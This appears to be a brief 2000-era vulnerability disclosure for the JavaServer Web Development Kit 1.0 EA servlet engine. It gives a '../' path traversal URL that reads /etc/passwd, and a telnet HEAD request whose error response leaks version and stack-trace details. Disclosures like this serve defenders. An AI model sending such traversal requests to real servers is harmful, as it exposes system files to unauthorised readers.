../ bugs in the Java Web server Development kit built in servlet engine http://localhost:8080/../../../../etc/passwd below is my version info. JavaServer(tm) WDK v1.0 EA [elguapo@localhost elguapo]$ telnet localhost 8080 Trying 127.0.0.1... Connected to localhost.localdomain. Escape character is '^]'. HEAD / HTTP/1.0 HTTP/1.0 500 Internal Server Error Date: Fri, 25 Aug 2000 14:24:54 GMT Server: JavaServer Web Dev Kit/1.0 EA with JSP/1.0 and Servlet/2.1 Content-Type: text/html Servlet-Engine: JavaServer Web Dev Kit/1.0 EA (JSP 1.0; Servlet 2.1; Java 1.3.0beta_refresh; Linux 2.2.15-4mdk i386; java.vendor=Sun Microsystems Inc.)

Error: 500

Internal Servlet Error:
java.lang.ClassCastException: javax.servlet.http.NoBodyResponse
        at
com.sun.web.core.RequestDispatcherImpl.forward(RequestDispatcherImpl.java:62)
at com.sun.web.core.DefaultServlet.processFile(DefaultServlet.java:126)
        at com.sun.web.core.DefaultServlet.doGet(DefaultServlet.java:69)

        at javax.servlet.http.HttpServlet.doHead(HttpServlet.java:286)
        at javax.servlet.http.HttpServlet.service(HttpServlet.java:744)
        at javax.servlet.http.HttpServlet.service(HttpServlet.java:840)
        at
com.sun.web.core.ServletWrapper.handleRequest(ServletWrapper.java:155)
        at com.sun.web.core.Context.handleRequest(Context.java:414)
        at
com.sun.web.server.ConnectionHandler.run(ConnectionHandler.java:139)
Connection closed by foreign host. [elguapo@localhost elguapo]$